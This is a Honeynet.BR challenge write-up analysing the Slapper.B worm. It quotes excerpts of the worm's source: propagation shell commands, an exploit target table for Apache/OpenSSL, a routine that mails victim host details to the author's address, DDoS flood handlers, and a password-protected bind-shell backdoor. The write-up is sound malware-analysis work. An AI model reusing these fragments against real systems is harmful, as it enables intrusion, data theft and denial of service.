Writeup by
Cristine Hoepers and Klaus Steding-Jessen
from the Honeynet.BR Project
Skill Level: Advanced
text version
The Challenge:
Members from the Honeynet.BR team
have captured a new worm from the wild. The file provided below
(.unlock) was used by the worm to infect the honeypot. You
have to analyze the captured file in order to answer the questions
below.
Introduction
This month's analysis was made based on the source code of the Slapper.B Worm. This worm was not obtained from the compromised honeypot, but it was captured from the network traffic collected in the honeynet.
All the source code mentioned in this analysis is numbered according to these two files: .unlock.nl.c and .update.nl.c. These numbered files were generated using the command: nl -b a.
Questions and Answers
Answer: The .unlock file is a gzipped tar file. This file was generated on Friday, September 20th 2002, 10:59:04 UTC.
Comments: It is important to note that the time recorded by the gzip command is a Unix date, seconds since 0 hours, 0 minutes, 0 seconds, January 1, 1970, Coordinated Universal Time (UTC) -- the st_mtime value returned by the stat(2) system call. This way is important to take your timezone into account when determinig the correct date and time.
To get the date in UTC, we set the TZ environment variable to UTC, then used the file(1) command to determine the file type and generation date: (Bourne shell family assumed)
$ export TZ=UTC $ file .unlock .unlock: gzip compressed data, deflated, last modified: Fri Sep 20 10:59:04 2002, os: Unix $ zcat .unlock | file - standard input: GNU tar archive $ tar tzvf .unlock -rw-r--r-- 1 root wheel 70981 Sep 20 13:28 .unlock.c -rw-r--r-- 1 root wheel 2792 Sep 19 21:57 .update.c
The environment variable TZ specifies how the localtime(3) conversion is done. If TZ does not appear in the environment, /etc/localtime is usually used.
Answer: Based on the source code, this worm was originally written by contem@efnet with modifications by aion (aion@ukr.net). It has a VERSION defined as 20092002, that probably means September 20th, 2002, which is compatible with the date from question 1.
Comments: The information about the authors was obtained from lines below, in the .unlock.c file:
3 * Peer-to-peer UDP Distributed Denial of Service (PUD) * 4 * by contem@efnet * 38 * some modification done by aion (aion@ukr.net) * 73 ////////////////////////////////////////////////////////////////////////////////////// 74 // aion // 75 ////////////////////////////////////////////////////////////////////////////////////// 1410 // aion 1801 // aion
The only reference in the source code to the worm's creation date is the VERSION symbol, defined on line 71:
71 #define VERSION 20092002
Answer: The worm uses the name "httpd " (httpd followed by a space) as its process name.
Comments: The worm compiles its source code to the file /tmp/httpd, which is then started with the IP number of the infecting machine as a command line argument:
1421 writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu; " 1422 "tar xzf /tmp/.unlock -C /tmp/; " 1423 "gcc -o /tmp/httpd /tmp/.unlock.c -lcrypto; " 1424 "gcc -o /tmp/update /tmp/.update.c;\n"); 1425 sprintf(rcv, "/tmp/httpd %s; /tmp/update; \n",localip);
The worm copies the string "httpd " over argv[0] and erases argv[1] in order to hide this extra information available on the command line. (full pathname and argument)
This is available at lines 78 and 1803--1805:
78 #define PSNAME "httpd " 1803 for(a=0;argv[0][a]!=0;a++) argv[0][a]=0; 1804 for(a=0;argv[1][a]!=0;a++) argv[1][a]=0; 1805 strcpy(argv[0],PSNAME);
Answer: The worm copies itself over the network, to the new compromised machine, in uuencode format. It creates the following files on the infected machine:
The file /tmp/.unlock is the only one that remains on the infected machine.
Comments: The function encode() is used to send a binary file through the network in uuencode format. This function is called in line 1418.
The worm communicates to the victim machine through a socket and starts a cat(1) command on the victim's side, writing the data to a file named /tmp/.unlock.uu until the string __eof__ is received. The code responsible for this is shown below:
1416 writem(sockfd,"cat > /tmp/.unlock.uu << __eof__; \n"); 1417 zhdr(1); 1418 encode(sockfd); 1419 zhdr(0); 1420 writem(sockfd,"__eof__\n");
An excerpt of the encode() function follows:
1194 int encode(int a) { 1195 register int ch, n; 1196 register char *p; 1197 char buf[80]; 1198 FILE *in; 1199 if ((in=fopen(WORMSRC,"r")) == NULL) return 0; 1200 writem(a,UUHEAD); 1201 while ((n = fread(buf, 1, 45, in))) { 1202 ch = ENC(n); 1203 if (sendch(a,ch) <= ASUCCESS) break; [...]
When the worm file is received by the victim machine, the uudecode(1) command is called to generate the .unlock file:
1421 writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu; "
The /tmp/.unlock file is a gzipped tar file that when exploded generates two files: /tmp/.unlock.c and /tmp/update.c. These two files are then compiled into /tmp/httpd and /tmp/update, respectively:
1421 writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu; " 1422 "tar xzf /tmp/.unlock -C /tmp/; " 1423 "gcc -o /tmp/httpd /tmp/.unlock.c -lcrypto; " 1424 "gcc -o /tmp/update /tmp/.update.c;\n");
The next step is to start both programs, /tmp/httpd and /tmp/update, and then delete all files, but /tmp/.unlock:
1425 sprintf(rcv, "/tmp/httpd %s; /tmp/update; \n",localip); 1426 writem(sockfd,rcv); sleep(3); 1427 writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c " 1428 " /tmp/httpd /tmp/update; exit; \n");
The /tmp/.unlock file is maintained because it is needed during the worm propagation process.
It is very important to note that as soon as the worm is sent to a new victim, the function zhdr() changes to zero the first three bytes of the /tmp/.unlock file left on the machine, making this file unrecognizable as a gzip file.
Every time this file is about to be sent to a new victim, the function zhdr() is called again, this time restoring the original 0x1f8b08 value.
1417 zhdr(1); 1418 encode(sockfd); 1419 zhdr(0);
The zhdr() function and the definition of the WORMSRC variable are shown below:
79 #define WORMSRC "/tmp/.unlock" 84 int zhdr(int flag) 85 { 86 int fd; char *gzh="\x1f\x8b\x08"; 87 char *kgz="\x00\x00\x00"; 88 if((fd=open(WORMSRC,O_WRONLY))==-1) return -1; 89 if(flag) write(fd,gzh,3); 90 else write(fd,kgz,3); 91 close(fd); 92 }
Answer: The worm scans for port 80/TCP.
Comment: The SCANPORT is defined as 80 on line 67:
67 #define SCANPORT 80
This variable is used as argument to the function atcp_sync_connect(), shown below:
1921 sprintf(srv,"%d.%d.%d.%d",a,b,c,d); 1922 clients[n].ext=time(NULL); 1923 atcp_sync_connect(&clients[n],srv,SCANPORT); 443 int atcp_sync_connect(struct ainst *inst,char *host,unsigned int port) { 444 int flag=1; 445 struct hostent *hp; 446 if (inst == NULL) return (AINSTANCE); 447 inst->len=0; 448 if ((inst->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { 449 inst->error=ASOCKET; 450 return (ASOCKET); 451 } 452 if (inet_addr(host) == 0 || inet_addr(host) == -1) { 453 if ((hp = gethostbyname(host)) == NULL) { 454 inst->error=ARESOLVE; 455 return (ARESOLVE); 456 } 457 bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length); 458 } 459 else inst->in.sin_addr.s_addr=inet_addr(host); 460 inst->in.sin_family = AF_INET; 461 inst->in.sin_port = htons(port); 462 flag = fcntl(inst->sock, F_GETFL, 0); 463 flag |= O_NONBLOCK; 464 fcntl(inst->sock, F_SETFL, flag); 465 inst->error=ASUCCESS; 466 return (ASUCCESS); 467 }
Answer: The worm tries to exploit the SSL vulnerability (CERT/CC VU#102795) on i386 Linux machines, with the following OS and Apache versions:
OS Apache Version --------- -------------- Gentoo any version Debian 1.3.26 Red-Hat 1.3.6, 1.3.9, 1.3.12, 1.3.19, 1.3.20, 1.3.22, 1.3.23, 1.3.26 SuSE 1.3.12, 1.3.17, 1.3.19, 1.3.20, 1.3.23 Mandrake 1.3.14, 1.3.19, 1.3.20, 1.3.23 Slackware 1.3.26
Comments: If the worm finds a machine with an open 80/TCP port it calls the exploit() function, partially shown below:
1697 void exploit(char *ip) { 1698 int port = 443; 1699 int i; 1700 int arch=-1; 1701 int N = 20; 1702 ssl_conn* ssl1; 1703 ssl_conn* ssl2; [...]
If the word "Apache" does not appear in the web server output, the function exits:
1708 if (strncmp(a,"Apache",6)) exit(0);
Otherwise it compares the output with various OS names and Apache versions, using the architecture array.
1709 for (i=0;i<MAX_ARCH;i++) { 1710 if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) { 1711 arch=i; 1712 break; 1713 } 1714 } [...]
If none of the OS names and Apache versions matches, it defaults to Apache "1.3.23" running on Red-Hat:
1715 if (arch == -1) arch=9;
The archs struct is shown below:
1241 struct archs { 1242 char *os; 1243 char *apache; 1244 int func_addr; 1245 } architectures[] = { 1246 {"Gentoo", "", 0x08086c34}, 1247 {"Debian", "1.3.26", 0x080863cc}, 1248 {"Red-Hat", "1.3.6", 0x080707ec}, 1249 {"Red-Hat", "1.3.9", 0x0808ccc4}, 1250 {"Red-Hat", "1.3.12", 0x0808f614}, 1251 {"Red-Hat", "1.3.12", 0x0809251c}, 1252 {"Red-Hat", "1.3.19", 0x0809af8c}, 1253 {"Red-Hat", "1.3.20", 0x080994d4}, 1254 {"Red-Hat", "1.3.26", 0x08161c14}, 1255 {"Red-Hat", "1.3.23", 0x0808528c}, 1256 {"Red-Hat", "1.3.22", 0x0808400c}, 1257 {"SuSE", "1.3.12", 0x0809f54c}, 1258 {"SuSE", "1.3.17", 0x08099984}, 1259 {"SuSE", "1.3.19", 0x08099ec8}, 1260 {"SuSE", "1.3.20", 0x08099da8}, 1261 {"SuSE", "1.3.23", 0x08086168}, 1262 {"SuSE", "1.3.23", 0x080861c8}, 1263 {"Mandrake", "1.3.14", 0x0809d6c4}, 1264 {"Mandrake", "1.3.19", 0x0809ea98}, 1265 {"Mandrake", "1.3.20", 0x0809e97c}, 1266 {"Mandrake", "1.3.23", 0x08086580}, 1267 {"Slackware", "1.3.26", 0x083d37fc}, 1268 {"Slackware", "1.3.26",0x080b2100} 1269 };
Answer: The worm sends an email to aion@ukr.net, with the following information:
Comments: The mail server the worm connects to and the email account are defined below:
76 #define MAILSRV "freemail.ukr.net" 77 #define MAILTO "aion@ukr.net"
The function mailme() receives sip from its caller -- this is the first command line argument of the worm program:
1802 mailme(argv[1]); zhdr(0);
This command line argument comes from the sh() function, which starts the new worm on the infected machine, passing as argument the IP address of the infecting machine:
1409 conv(localip,256,myip); memset(rcv,0,1024); 1425 sprintf(rcv, "/tmp/httpd %s; /tmp/update; \n",localip);
The mailme() function is defined below:
94 int mailme(char *sip) 95 { 96 char cmdbuf[256], buffer[128]; 97 int pip; long inet; 98 struct sockaddr_in sck; 99 struct hostent *hp; 100
The function connects to freemail.ukr.net, port 25/TCP (smtp):
101 if(!(pip=socket(PF_INET, SOCK_STREAM, 0))) return -1; 102 if((inet=inet_addr(MAILSRV))==-1) 103 { 104 if(hp=gethostbyname(MAILSRV)) 105 memcpy (&inet, hp->h_addr, 4); 106 else return -1; 107 } 108 sck.sin_family = PF_INET; 109 sck.sin_port = htons (25); 110 sck.sin_addr.s_addr = inet; 111 if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1; 112
And starts the following SMTP conversation:
113 gethostname(buffer,128); 114 sprintf(cmdbuf,"helo test\r\n"); writem(pip, cmdbuf); 115 recv(pip,cmdbuf,sizeof(cmdbuf),0);
Note the fake "mail from:" origin:
116 sprintf(cmdbuf,"mail from: test@microsoft.com\r\n"); writem(pip, cmdbuf); 117 recv(pip,cmdbuf,sizeof(cmdbuf),0); 118 sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n"); writem(pip, cmdbuf); 119 recv(pip,cmdbuf,sizeof(cmdbuf),0); 120 sprintf(cmdbuf,"data\r\n"); writem(pip, cmdbuf); 121 recv(pip,cmdbuf,sizeof(cmdbuf),0);
It finally sends the hostid and hostname of the infected host and the IP address of the infecting host:
122 sprintf(cmdbuf," hostid: %d \r\n" 123 " hostname: %s \r\n" 124 " att_from: %s \r\n",gethostid(),buffer,sip); 125 writem(pip, cmdbuf); 126 recv(pip,cmdbuf,sizeof(cmdbuf),0); 127 sprintf(cmdbuf,"\r\n.\r\nquit\r\n"); writem(pip, cmdbuf); 128 recv(pip,cmdbuf,sizeof(cmdbuf),0); 129 return close(pip); 130 }
Answer: The port 4156/UDP is used by the worm to communicate to other worms.
Comments: The port number is set on line 66:
66 #define PORT 4156
On lines 1781 to 1784 it binds a sockets to this port, listening for requests:
1781 if (audp_listen(&udpserver,PORT) != 0) { 1782 printf("Error: %s\n",aerror(&udpserver)); 1783 return 0; 1784 } 589 int audp_listen(struct ainst *inst,unsigned int port) { 590 int flag=1; 591 if (inst == NULL) return (AINSTANCE); 592 inst->len=0; 593 if ((inst->sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) { 594 inst->error=ASOCKET; 595 return (ASOCKET); 596 } 597 inst->in.sin_family = AF_INET; 598 inst->in.sin_addr.s_addr = INADDR_ANY; 599 inst->in.sin_port = htons(port); 600 if (bind(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) < 0) { 601 inst->error=ABIND; 602 return (ABIND); 603 } 604 #ifdef O_DIRECT 605 flag = fcntl(inst->sock, F_GETFL, 0); 606 flag |= O_DIRECT; 607 fcntl(inst->sock, F_SETFL, flag); 608 #endif 609 inst->error=ASUCCESS; 610 flag=1; 611 setsockopt(inst->sock,SOL_SOCKET,SO_OOBINLINE,&flag,sizeof(flag)); 612 return (ASUCCESS); 613 }
Other function used to communicate using this port, includes:
643 int audp_relay(struct ainst *parent,struct ainst *inst,char *host,unsigned int port) {
Answer: The worm has the functionalities of UDP flood, TCP flood and IPv6 TCP flood (among others).
Comments: All the commands the worm understands (and its codes) are listed in the code from lines 2032 to 2499:
2032 if (udpserver.len >= sizeof(struct header)) { 2033 switch(tmp->tag) { 2034 case 0x20: { // Info [...] 2058 case 0x21: { // Open a bounce [...] 2098 case 0x22: { // Close a bounce [...] 2107 case 0x23: { // Send a message to a bounce [...] 2116 case 0x24: { // Run a command [...] 2152 case 0x25: { 2153 } break; 2154 case 0x26: { // Route [...] 2198 case 0x27: { 2199 } break; 2200 case 0x28: { // List [...] 2205 case 0x29: { // Udp flood [...] 2246 case 0x2A: { // Tcp flood [...] 2279 case 0x2B: { // IPv6 Tcp flood [...] 2308 case 0x2C: { // Dns flood [...] 2386 case 0x2D: { // Email scan [...] 2410 case 0x70: { // Incomming client [...] 2436 case 0x71: { // Receive the list [...] 2457 case 0x72: { // Send the list 2458 syncm(&udpclient,0x71,0); 2459 } break; 2460 case 0x73: { // Get my IP [...] 2468 case 0x74: { // Transmit their IP [...] 2477 case 0x41: // --| 2478 case 0x42: // | 2479 case 0x43: // | 2480 case 0x44: // |---> Relay to client 2481 case 0x45: // | 2482 case 0x46: // | 2483 case 0x47: { // --| [...] 2499 }
Answer: The .update.c is a backdoor program that provides a shell with the privileges of the user running Apache. It uses the port 1052/TCP and asks for the password "aion1981".
Comments: The port and password are defined on lines 4 and 5:
4 #define PORT 1052 5 #define PASS "aion1981"
The code below compares a given password with the variable PASS, and gives a shell if they match:
62 read(soc_cli,temp_buff,10); 63 if( !strncmp(temp_buff,PASS,strlen(PASS)) ) 64 execl("/bin/sh","sh -i",(char *)0); 65 closeall(); 66 exit(0);
Answer: The values SLEEPTIME and UPTIME are used to define the backdoor window of activity. The backdoor listens for 10 seconds and then sleep for 5 minutes. These values only affect the LISTEN behaviour of the backdoor -- established connections are not affected.
Comments: The values of SLEEPTIME and UPTIME are defined on lines 6 and 7:
6 #define SLEEPTIME 300 // sleep 5 min. 7 #define UPTIME 10 // listen 10 sec.
The listen and sleep loop are shown below:
52 for(stimer=time(NULL);(stimer+UPTIME)>time(NULL);) 53 { 54 soc_cli = accept(soc_des, 55 (struct sockaddr *) &client_addr, sizeof(client_addr)); 56 if (soc_cli > 0) 57 { 58 if (!fork()) { 59 dup2(soc_cli,0); 60 dup2(soc_cli,1); 61 dup2(soc_cli,2); 62 read(soc_cli,temp_buff,10); 63 if( !strncmp(temp_buff,PASS,strlen(PASS)) ) 64 execl("/bin/sh","sh -i",(char *)0); 65 closeall(); 66 exit(0); 67 } else wait(&retval); 68 } 69 sleep(1); 70 } 71 72 closeall(); 73 sleep(SLEEPTIME);